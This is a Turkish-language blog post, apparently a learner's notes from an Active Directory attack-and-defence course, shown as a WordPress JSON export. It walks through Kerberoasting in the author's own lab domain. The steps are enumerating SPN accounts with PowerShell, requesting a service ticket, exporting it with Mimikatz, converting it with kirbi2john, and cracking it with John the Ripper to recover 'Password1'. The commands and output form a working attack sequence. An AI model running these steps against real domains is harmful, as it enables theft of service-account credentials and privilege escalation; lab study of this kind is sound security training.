{"id":605,"date":"2020-10-30T01:03:59","date_gmt":"2020-10-30T01:03:59","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=605"},"modified":"2020-10-30T01:03:59","modified_gmt":"2020-10-30T01:03:59","slug":"kerberoasting","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2020\/10\/30\/kerberoasting\/","title":{"rendered":"Kerberoasting"},"content":{"rendered":"<p>Attacking and Defending Active Directory E\u011fitim serisinin 14. videosunday\u0131m ve uzun bir s\u00fcredir bu videoda tak\u0131l\u0131 kald\u0131m. Bunun sebebi yeni \u00f6\u011frenmeye ba\u015flad\u0131\u011f\u0131m baz\u0131 kavramlar\u0131 iyice anlayayip daha sonra yoluma devam etmek istememden kaynaklan\u0131yor. Asl\u0131nda halen kendimi y\u00fczde y\u00fcz hissetmiyorum ama sonu\u00e7 olarak buras\u0131 benim \u00e7\u00f6pl\u00fc\u011f\u00fcm.<\/p>\n<p>Windows \u00fczerinde servis hesaplar\u0131 sald\u0131rganlar taraf\u0131ndan \u00e7ok dikkat edilen bir hesap t\u00fcr\u00fcd\u00fcr. \u0130lk olarak servis hesaplar\u0131n\u0131n ne oldu\u011funu k\u0131saca anlamaya \u00e7al\u0131\u015fal\u0131m.<\/p>\n<p>Servislerin arkaplanda bizim i\u00e7in belirli i\u015flemleri ger\u00e7ekle\u015ftirdi\u011fini biliyoruz. Bu servislerden \u00e7al\u0131\u015fan olanlara <code>Get-Service | Where-Object {$_.Status -eq &quot;Running&quot;} | select Status, DisplayName, Name<\/code> powershell komutu ile ula\u015fabiliriz. Kendi bilgisayar\u0131n\u0131zda denedi\u011finizde bir s\u00fcr\u00fc i\u015flem ger\u00e7ekle\u015ftiren ve arkaplanda sessizce \u00e7al\u0131\u015fan servis oldu\u011funu g\u00f6rebilirsiniz. Bunlardan bir tanesi Spotify&#8217;\u0131n servisi olabilir ve g\u00fcncelleme oldu\u011funu tespit etti\u011finde kendisini otamatik g\u00fcncelleyecektir. Bu i\u015flemleri ger\u00e7ekle\u015ftirirken \u00e7al\u0131\u015fmakta oldu\u011fu dizine internetten g\u00fcncelleme patch&#8217;ini indirmektedir. Yani o dizin \u00fczerinde okuma, yazma, de\u011fi\u015ftirme gibi haklara sahiptir. Peki bu haklara sahip olan kim? Spotify servisini kullanan kullan\u0131c\u0131, yani servis kullan\u0131c\u0131s\u0131&#8230;<\/p>\n<p>Windows Server&#8217;\u0131n 2012 s\u00fcr\u00fcm\u00fcnden sonra asl\u0131nda Servis Kullan\u0131c\u0131lar\u0131nda birtak\u0131m de\u011fi\u015fiklikler oldu ve daha g\u00fcvenli hale getirildi ama biz hala kullan\u0131ma devam eden eski usul servis kullan\u0131c\u0131 tan\u0131m\u0131ndaki kabakuvvet sald\u0131r\u0131s\u0131n\u0131n nas\u0131l yap\u0131ld\u0131\u011f\u0131n\u0131 bu yaz\u0131 i\u00e7erisinde i\u015fleyece\u011fiz.<\/p>\n<p>Kerberoasting, servis hesaplar\u0131n\u0131n parolalar\u0131n\u0131 k\u0131rmak amac\u0131yla kullan\u0131lan bir sald\u0131r\u0131 tekni\u011fidir. Kerberoasting, servislere eri\u015fim sa\u011flama, hedef sistem \u00fczerinde hak ve yetki y\u00fckseltme ve hedef sistemde kal\u0131c\u0131l\u0131k sa\u011flama amac\u0131yla kullan\u0131labilir. Bu k\u0131s\u0131mda ilgilendi\u011fimiz \u00f6zellik asl\u0131nda SPN olacakt\u0131r. Peki SPN nedir? Windows, servisleri ay\u0131rt etmek i\u00e7in SPNs (Service Principal Names) kullanmaktad\u0131r. SPN format\u0131 : <code>serviceclass\/host:port<\/code> \u015feklindedir. \u00d6rne\u011fin <code>MSSQLSvc\/PROD-SQL.pwclab.local:1433<\/code> SPN&#8217;e bir \u00f6rnektir.<\/p>\n<p>Kullan\u0131c\u0131 olu\u015fturulurken kullan\u0131c\u0131 objesinin spn \u00f6zelli\u011fine ilgili servis atamas\u0131 yap\u0131larak asl\u0131nda bu e\u015fitleme yap\u0131lm\u0131\u015f olunur. A\u015fa\u011f\u0131daki videonun 4. dakikalar\u0131nda bu i\u015flemin nas\u0131l yap\u0131laca\u011f\u0131 g\u00f6sterilmi\u015ftir.<\/p>\n<p><iframe loading=\"lazy\" width=\"100%\" height=\"auto\" src=\"https:\/\/www.youtube.com\/embed\/xH5T9-m9QXw\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p>Bizim buradaki amac\u0131m\u0131z SPN de\u011feri bo\u015f olmayan kullan\u0131c\u0131lar\u0131 tespit etmek olacakt\u0131r. Bunun i\u00e7in s\u0131zm\u0131\u015f oldu\u011fumuz d\u00fc\u015f\u00fck yetkili bir makinada a\u015fa\u011f\u0131dak\u0131 powershell komutunu \u00e7al\u0131\u015ft\u0131rabiliriz. Tabiki AD mod\u00fcl\u00fcn\u00fc import etmi\u015f olmam\u0131z gerekecektir.<\/p>\n<pre><code class=\"language-ps\">PS C:\\Users\\ogrenci&gt; cd .\\Desktop\\                                                                                                                                                                                PS C:\\Users\\ogrenci\\Desktop&gt; cd .\\Tools\\                                                                                                                                                                          PS C:\\Users\\ogrenci\\Desktop\\Tools&gt; cd .\\ADModule\\                                                                                                                                                                 PS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt; Import-Module .\\Microsoft.ActiveDirectory.Management.dll                                                                                                              PS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt;                                                                                                                                                                       PS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt;                                                                                                                                                                       PS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt; Get-ADUser -Filter { ServicePrincipalName -ne &quot;$null&quot; } -Properties ServicePrincipalName                                                                              \n\nGivenName          :\nSurname            :\nUserPrincipalName  :\nEnabled            : False\nSamAccountName     : krbtgt\nSID                : S-1-5-21-2945184338-1184837640-344998139-502\nDistinguishedName  : CN=krbtgt,CN=Users,DC=kuday,DC=local\nName               : krbtgt\nObjectClass        : user\nObjectGuid         : eb717295-c0fa-436f-9ac7-313ea624be75\nPropertyNames      : {DistinguishedName, Enabled, GivenName, Name...}\nAddedProperties    : {}\nRemovedProperties  : {}\nModifiedProperties : {}\nPropertyCount      : 11\n\nGivenName          : servicetest\nSurname            :\nUserPrincipalName  : servicetest@kuday.local\nEnabled            : True\nSamAccountName     : servicetest\nSID                : S-1-5-21-2945184338-1184837640-344998139-1110\nDistinguishedName  : CN=servicetest,CN=Managed Service Accounts,DC=kuday,DC=local\nName               : servicetest\nObjectClass        : user\nObjectGuid         : 815c8602-70f7-44e6-868a-05d1b2dd52b9\nPropertyNames      : {DistinguishedName, Enabled, GivenName, Name...}\nAddedProperties    : {}\nRemovedProperties  : {}\nModifiedProperties : {}\nPropertyCount      : 11<\/code><\/pre>\n<p>San\u0131yorum yukar\u0131da <code>servicetest<\/code> kullan\u0131c\u0131s\u0131n\u0131 farketmi\u015fsinizdir. Bu kullan\u0131c\u0131n\u0131n SPN de\u011feri bo\u015f de\u011fil ve bu kullan\u0131c\u0131y\u0131 tespit edebilmek i\u00e7in <code>Get-ADUser -Filter { ServicePrincipalName -ne &quot;$null&quot; } -Properties ServicePrincipalName<\/code> powershell komutunu yazmam\u0131z yeterli oldu.<\/p>\n<p>Bu noktadan sonra asl\u0131nda olay son derece kolay. Sadece \u015fansl\u0131 olmam\u0131z gerekcektir.<\/p>\n<p>\u0130lk \u00f6nce ele ge\u00e7irmi\u015f oldu\u011fumuz makinadaki b\u00fct\u00fcn ticket&#8217;leri temizleyelim.<\/p>\n<pre><code class=\"language-ps\">PS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt; klist purge                                                                                                                                                           \nCurrent LogonId is 0:0x220a6f\n        Deleting all tickets:\n        Ticket(s) purged!<\/code><\/pre>\n<p>\u015eimdi a\u015fa\u011f\u0131daki komut ile SPN de\u011ferini \u00f6\u011frenelim.<\/p>\n<pre><code class=\"language-ps\">PS C:\\Windows\\system32&gt; Get-ADUser -Filter { Name -eq &quot;servicetest&quot;} -Properties * | select ServicePrincipalName\n\nServicePrincipalName\n--------------------\n{test\/test}<\/code><\/pre>\n<p><code>klist<\/code> komutu ile \u00f6n belle\u011fimde sakl\u0131 olan ticket&#8217;lar\u0131m\u0131 g\u00f6rmek istiyorum.<\/p>\n<pre><code class=\"language-ps\">PS C:\\Windows\\system32&gt; klist\n\nCurrent LogonId is 0:0x5b5d4\n\nCached Tickets: (1)\n\n#0&gt;     Client: Administrator @ KUDAY.LOCAL\n        Server: krbtgt\/KUDAY.LOCAL @ KUDAY.LOCAL\n        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96\n        Ticket Flags 0x40e10000 -&gt; forwardable renewable initial pre_authent name_canonicalize\n        Start Time: 10\/30\/2020 2:12:10 (local)\n        End Time:   10\/30\/2020 12:12:10 (local)\n        Renew Time: 11\/6\/2020 2:12:10 (local)\n        Session Key Type: AES-256-CTS-HMAC-SHA1-96\n        Cache Flags: 0x1 -&gt; PRIMARY\n        Kdc Called: DC-01\nPS C:\\Windows\\system32&gt;<\/code><\/pre>\n<p>Tamamd\u0131r. Her \u015fey yolunda gidiyor. \u015eimdi <code>test\/test<\/code> SPN de\u011feri i\u00e7in bir ticket isteyece\u011fiz. Peki bunu nas\u0131l yap\u0131yoruz? Kerberos protokol\u00fc uygulamas\u0131, etki alan\u0131ndaki herhangi bir kimli\u011fi do\u011frulanm\u0131\u015f nesnenin bir hizmet i\u00e7in bir TGS Bileti istemesine izin verir. Burada \u00f6nemli olan nokta kimli\u011fi do\u011frulanm\u0131\u015f olmas\u0131d\u0131r. Bu i\u015flem zaten ilk ba\u015fta yap\u0131ld\u0131 ve biz <code>klist<\/code> dedi\u011fimizde bunu g\u00f6rebiliyoruz&#8230;<\/p>\n<p>Bir kullan\u0131c\u0131 sisteme giri\u015f yapt\u0131\u011f\u0131 s\u0131rada servis eri\u015fimleri i\u00e7in kimli\u011fini do\u011frulamas\u0131 gerekir. Bu nedenle de Key Distribution Center (KDC) ile ileti\u015fime ge\u00e7erek Ticket Granting Ticket (TGT) sahibi olmal\u0131d\u0131r. TGT krbtgt hesab\u0131 taraf\u0131ndan imzalanarak g\u00f6nderilmi\u015ftir ve s\u00fcre\u00e7teki rol\u00fc, kullan\u0131c\u0131n\u0131n do\u011frulanmas\u0131n\u0131 sa\u011flamakt\u0131r.  TGT\u2019sini eline alm\u0131\u015f kullan\u0131c\u0131, eri\u015fmek istedi\u011fi servisin SPN de\u011feriyle birlikte Ticket Granting Service (TGS)\u2019e ticket request g\u00f6nderir. Yani bizim burada yapmam\u0131z gereken tek \u015fey bir TGS&#8217;e bir request g\u00f6ndermek olacakt\u0131r. TGS Biletini talep etmek i\u00e7in iki bilgiye ihtiyac\u0131m\u0131z var (SPN asl\u0131nda yeterli olacakt\u0131r)<\/p>\n<p>Ben kendi lab ortam\u0131mda <code>test\/test<\/code> SPN de\u011ferine sahip olan kullan\u0131c\u0131y\u0131 ger\u00e7ekten bir Servis ile e\u015fitlemedim yani sistemimde test diye bir servis bulunmamaktad\u0131r. Ancak g\u00fcvenlik denemesini yapmam\u0131z i\u00e7in bu kadar\u0131 yeterli olacakt\u0131r. Bu y\u00fczden asl\u0131nda bilet olu\u015fturabilmek i\u00e7in sadece SPN de\u011feri yeterli olmakta. \u015eimdi bir TGS request&#8217;i powershell ile nas\u0131l g\u00f6nderebilece\u011fimizi g\u00f6relim.<\/p>\n<pre><code class=\"language-ps\">PS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt;\nPS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt; Add-Type -AssemblyName System.IdentityModel\nPS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &quot;test\/test&quot;\n\nId                   : uuid-45cc9b93-6640-4a2f-bcb0-2a70b75f63a2-2\nSecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}\nValidFrom            : 29.10.2020 23:35:24\nValidTo              : 30.10.2020 09:35:24\nServicePrincipalName : test\/test\nSecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey\n<\/code><\/pre>\n<p>Evet i\u015fte bu kadar basit. Burda yapt\u0131klar\u0131m\u0131z\u0131 k\u0131saca a\u00e7\u0131klayayim. Normal powershell ortam\u0131m\u0131zda dahil olmayan bir namespace&#8217;i asl\u0131nda ekledik daha sonra onun alt\u0131ndaki bir class&#8217;\u0131 kulland\u0131k. \u015eimdi kontrol i\u015flemi ger\u00e7ekle\u015ftirelim&#8230;<\/p>\n<pre><code class=\"language-ps\">\nPS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt; klist\n\nCurrent LogonId is 0:0x220a6f\n\nCached Tickets: (2)\n\n#0&gt;     Client: ogrenci @ KUDAY.LOCAL\n        Server: krbtgt\/KUDAY.LOCAL @ KUDAY.LOCAL\n        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96\n        Ticket Flags 0x40e10000 -&gt; forwardable renewable initial pre_authent name_canonicalize\n        Start Time: 10\/30\/2020 2:35:24 (local)\n        End Time:   10\/30\/2020 12:35:24 (local)\n        Renew Time: 11\/6\/2020 2:35:24 (local)\n        Session Key Type: AES-256-CTS-HMAC-SHA1-96\n        Cache Flags: 0x1 -&gt; PRIMARY\n        Kdc Called: DC-01.kuday.local\n\n#1&gt;     Client: ogrenci @ KUDAY.LOCAL\n        Server: test\/test @ KUDAY.LOCAL\n        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)\n        Ticket Flags 0x40a10000 -&gt; forwardable renewable pre_authent name_canonicalize\n        Start Time: 10\/30\/2020 2:35:24 (local)\n        End Time:   10\/30\/2020 12:35:24 (local)\n        Renew Time: 11\/6\/2020 2:35:24 (local)\n        Session Key Type: RSADSI RC4-HMAC(NT)\n        Cache Flags: 0\n        Kdc Called: DC-01.kuday.local\nPS C:\\Users\\ogrenci\\Desktop\\Tools\\ADModule&gt;<\/code><\/pre>\n<p>\u0130kinci ticket&#8217;\u0131m\u0131z\u0131 orda g\u00f6r\u00fcyoruz. Bu harika art\u0131k kabakuvvet i\u015flemine ba\u015flayabiliriz.<\/p>\n<p>\u0130lk olarak Invoke-Mimikatz arac\u0131 ile RAM&#8217;de bulunan ticketlar\u0131 parse ettim ev bir dosyay yazd\u0131m.<\/p>\n<pre><code class=\"language-ps\">PS C:\\Users\\ogrenci\\Desktop\\Tools\\kerberoast&gt; Invoke-Mimikatz -Command &#039;&quot;kerberos::list \/export&quot;&#039;                                                                                                                 \n  .#####.   mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25\n .## ^ ##.  &quot;A La Vie, A L&#039;Amour&quot; - (oe.eo)\n ## \/ \\ ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ## \\ \/ ##       &gt; http:\/\/blog.gentilkiwi.com\/mimikatz\n &#039;## v ##&#039;       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  &#039;#####&#039;        &gt; http:\/\/pingcastle.com \/ http:\/\/mysmartlogon.com   ***\/\n\nmimikatz(powershell) # kerberos::list \/export\n\n[00000000] - 0x00000012 - aes256_hmac\n   Start\/End\/MaxRenew: 30.10.2020 03:52:58 ; 30.10.2020 13:52:58 ; 6.11.2020 03:52:58\n   Server Name       : krbtgt\/KUDAY.LOCAL @ KUDAY.LOCAL\n   Client Name       : ogrenci @ KUDAY.LOCAL\n   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;\n   * Saved to file     : 0-40e10000-ogrenci@krbtgt~KUDAY.LOCAL-KUDAY.LOCAL.kirbi\n\n[00000001] - 0x00000017 - rc4_hmac_nt\n   Start\/End\/MaxRenew: 30.10.2020 03:52:58 ; 30.10.2020 13:52:58 ; 6.11.2020 03:52:58\n   Server Name       : test\/test @ KUDAY.LOCAL\n   Client Name       : ogrenci @ KUDAY.LOCAL\n   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;\n   * Saved to file     : 1-40a10000-ogrenci@test~test-KUDAY.LOCAL.kirbi<\/code><\/pre>\n<p>Evet \u015fimdi .kirbi uzant\u0131l\u0131 dosyalara kaba-kuvvet sald\u0131r\u0131s\u0131 yapabilmek i\u00e7in john format\u0131na d\u00f6n\u00fc\u015ft\u00fcrelim. Bunun i\u00e7in <a href=\"https:\/\/github.com\/nidem\/kerberoast.git\" title=\"kerberoast\">kerberoast<\/a><br \/>\nisimli projeyi kullanca\u011f\u0131m. Bilgisayara clone&#8217;lad\u0131ktan sonra devam ediyorum&#8230;<\/p>\n<pre><code class=\"language-ps\"> PS C:\\Users\\ogrenci\\Desktop\\Tools\\kerberoast&gt; py .\\kirbi2john.py .\\1-40a10000-ogrenci@test~test-KUDAY.LOCAL.kirbi\n ```\n \u00c7al\u0131\u015ft\u0131rd\u0131\u011f\u0131m komut ve \u00e7\u0131kt\u0131s\u0131:\n ```\n$krb5tgs$23$*1-40a10000-ogrenci@test~test-KUDAY.LOCAL*$88f5b15f9a6143949eb49e16c5afbe77$3e398228fd219d319d2a85385b79523db1b0854ead57c075f5a7f3347e1292a9b0480434ca2f3142a20bfcfeaf9cbd1363de8b8b6a70713a7da23e7b90b63fd14d0ee89f9126ca5de185a431658072924ff442915b939d3643c7d216a9b0bacf2b1ca2e98fe64f884c828755f0dbc00e41c769008c5b74f06b0c909d11110653d5b973a81cb28f550aaf8c918bd6a8e842b676e60cbc332ed0a9785166c8e749ce85a67ccec23d547d8e1dda362a198843471b64ad55a894cf58a7a92a69ba8e15cf50c919a22b46bfa9fd3503ebd419dd51dbef867883a7a5ce5f837aef3ac89e583532fc1c1425ee61631e81bd4437350c666d4d3c782dd8dfcf26c51af9b7287342acb714e2a9a49029c879944ad52210b8e934c44e3bd7e94561ceb9452351e44412a252bb14ca1dd78f40ae33e26a3bca46a8faf9d56f0bab9273e17fd778e962b574b8e494c224e7a830fdd73ca7498aab450618eca509eaab11f609d7af0db4fa3b4a97df74a6c43df3feacec45ed364abc0d1ec881c71cc3d4e669cdba6769e6c3099d84725727fbc7fa68a7527cff3abe6e2f447342d9bab2c2b66af2db7e8acef60a3beaca6176f6e851356d8b77486b8d1e474719aabc23293cdc11a83a4fce255073a668215960fe58b946d05e9bc7c9cbf2f9e1556e804b1e562357ee5f3efcd2832a0c63a0d8da93667cadeff9b4f86e5fe4e530fe3807e78e9d6fe33896c33662f10045becd1da49ecb4a8a1f31f00170ea1a0d38edde075a6355674a84016bf288ae8c8a136eac2b919d8ea19499b7e92ea9ee56c5be045636cabfb8007b5d3a4c5fb478e37691bbb6206c23d8a94169229c989be0e089f75835253f78e1d0bbae3f98c76e9bd5014ea67a036a01e4719594695cd6899ee7753d0ae422bd52e245c46a18a162b88899d3b04084c509b0e6763a1ff4ea53e4848f51c6754a740466c3bb2e80168eb0fa72f26cf77c11439f9f857a067daab2a815f2a55f07250707cb2bd3f64149a0fc0769669e49042b4caebc3d660e6e07984856466cbad557cc6bd5989f1b54cfddbdbc156e46b40044daf4115a5dacec9dd532adda1e9a06ceda6fd71e12fc84487f4c8e76d81a3ec10efd49e0619f2ded5009fe8f50e3ccc89b36ab1f9c4322eaf27572648d4c54eda3024fceefc6c0247ccd94810728d1044213936fb6fcec0ac907d4dc27923a54cc5041154b5a9e328e189b62b0eccaa6f82f7da8f86aff6ca53200c24efdb313354be1fb1c7e92647a57fadbfffeec178b3dfaf056d0116511388c8e65f1fb1c4e690e25909beac2f322984329378e7cdcb7dd1f79b99e0b0937bde5499a95d24f3437623a0466ba8418bd621b9f77e2f1361f298719c3ed18ff1aae9886f4a37ec6839539646dc03e157cbadef325d3f7826475a435e083a5a4aa5ee7fe52ffe4776f584851e7ddc2c419065bb9fa9412eeed303e99cfa7dd3756ef95b0f8e9a2567004ef941ecef37382ff5ad8dd985a47a4e1\ntickets written: 1<\/code><\/pre>\n<p>\u015eimdi bu \u00e7\u0131kt\u0131y\u0131 john&#8217;a verelim. Bunun i\u00e7in kali kulland\u0131m bu arada&#8230;<\/p>\n<pre><code class=\"language-sh\">root@kali:\/home\/kali\/Desktop# cat testtest \n$krb5tgs$23$*1-40a10000-ogrenci@test~test-KUDAY.LOCAL*$88f5b15f9a6143949eb49e16c5afbe77$3e398228fd219d319d2a85385b79523db1b0854ead57c075f5a7f3347e1292a9b0480434ca2f3142a20bfcfeaf9cbd1363de8b8b6a70713a7da23e7b90b63fd14d0ee89f9126ca5de185a431658072924ff442915b939d3643c7d216a9b0bacf2b1ca2e98fe64f884c828755f0dbc00e41c769008c5b74f06b0c909d11110653d5b973a81cb28f550aaf8c918bd6a8e842b676e60cbc332ed0a9785166c8e749ce85a67ccec23d547d8e1dda362a198843471b64ad55a894cf58a7a92a69ba8e15cf50c919a22b46bfa9fd3503ebd419dd51dbef867883a7a5ce5f837aef3ac89e583532fc1c1425ee61631e81bd4437350c666d4d3c782dd8dfcf26c51af9b7287342acb714e2a9a49029c879944ad52210b8e934c44e3bd7e94561ceb9452351e44412a252bb14ca1dd78f40ae33e26a3bca46a8faf9d56f0bab9273e17fd778e962b574b8e494c224e7a830fdd73ca7498aab450618eca509eaab11f609d7af0db4fa3b4a97df74a6c43df3feacec45ed364abc0d1ec881c71cc3d4e669cdba6769e6c3099d84725727fbc7fa68a7527cff3abe6e2f447342d9bab2c2b66af2db7e8acef60a3beaca6176f6e851356d8b77486b8d1e474719aabc23293cdc11a83a4fce255073a668215960fe58b946d05e9bc7c9cbf2f9e1556e804b1e562357ee5f3efcd2832a0c63a0d8da93667cadeff9b4f86e5fe4e530fe3807e78e9d6fe33896c33662f10045becd1da49ecb4a8a1f31f00170ea1a0d38edde075a6355674a84016bf288ae8c8a136eac2b919d8ea19499b7e92ea9ee56c5be045636cabfb8007b5d3a4c5fb478e37691bbb6206c23d8a94169229c989be0e089f75835253f78e1d0bbae3f98c76e9bd5014ea67a036a01e4719594695cd6899ee7753d0ae422bd52e245c46a18a162b88899d3b04084c509b0e6763a1ff4ea53e4848f51c6754a740466c3bb2e80168eb0fa72f26cf77c11439f9f857a067daab2a815f2a55f07250707cb2bd3f64149a0fc0769669e49042b4caebc3d660e6e07984856466cbad557cc6bd5989f1b54cfddbdbc156e46b40044daf4115a5dacec9dd532adda1e9a06ceda6fd71e12fc84487f4c8e76d81a3ec10efd49e0619f2ded5009fe8f50e3ccc89b36ab1f9c4322eaf27572648d4c54eda3024fceefc6c0247ccd94810728d1044213936fb6fcec0ac907d4dc27923a54cc5041154b5a9e328e189b62b0eccaa6f82f7da8f86aff6ca53200c24efdb313354be1fb1c7e92647a57fadbfffeec178b3dfaf056d0116511388c8e65f1fb1c4e690e25909beac2f322984329378e7cdcb7dd1f79b99e0b0937bde5499a95d24f3437623a0466ba8418bd621b9f77e2f1361f298719c3ed18ff1aae9886f4a37ec6839539646dc03e157cbadef325d3f7826475a435e083a5a4aa5ee7fe52ffe4776f584851e7ddc2c419065bb9fa9412eeed303e99cfa7dd3756ef95b0f8e9a2567004ef941ecef37382ff5ad8dd985a47a4e1\nroot@kali:\/home\/kali\/Desktop# john testtest \nUsing default input encoding: UTF-8\nLoaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])\nWill run 4 OpenMP threads\nProceeding with single, rules:Single\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\nAlmost done: Processing the remaining buffered candidate passwords, if any.\nProceeding with wordlist:\/usr\/share\/john\/password.lst, rules:Wordlist\nPassword1        (?)\n1g 0:00:00:00 DONE 2\/3 (2020-10-29 20:54) 100.0g\/s 409600p\/s 409600c\/s 409600C\/s modem..Peter\nUse the &quot;--show&quot; option to display all of the cracked passwords reliably\nSession completed\nroot@kali:\/home\/kali\/Desktop# \n<\/code><\/pre>\n<p>Ve servis kullan\u0131c\u0131s\u0131n\u0131n \u015fifresini k\u0131rm\u0131\u015f olduk: Password1<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Attacking and Defending Active Directory E\u011fitim serisinin 14. videosunday\u0131m ve uzun bir s\u00fcredir bu videoda tak\u0131l\u0131 kald\u0131m. Bunun sebebi yeni \u00f6\u011frenmeye ba\u015flad\u0131\u011f\u0131m baz\u0131 kavramlar\u0131 iyice&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2020\/10\/30\/kerberoasting\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">Kerberoasting<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[269,320],"tags":[416,417],"class_list":["post-605","post","type-post","status-publish","format-standard","hentry","category-active-directory","category-powershell","tag-kerberoasting","tag-spn","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=605"}],"version-history":[{"count":3,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/605\/revisions"}],"predecessor-version":[{"id":608,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/605\/revisions\/608"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}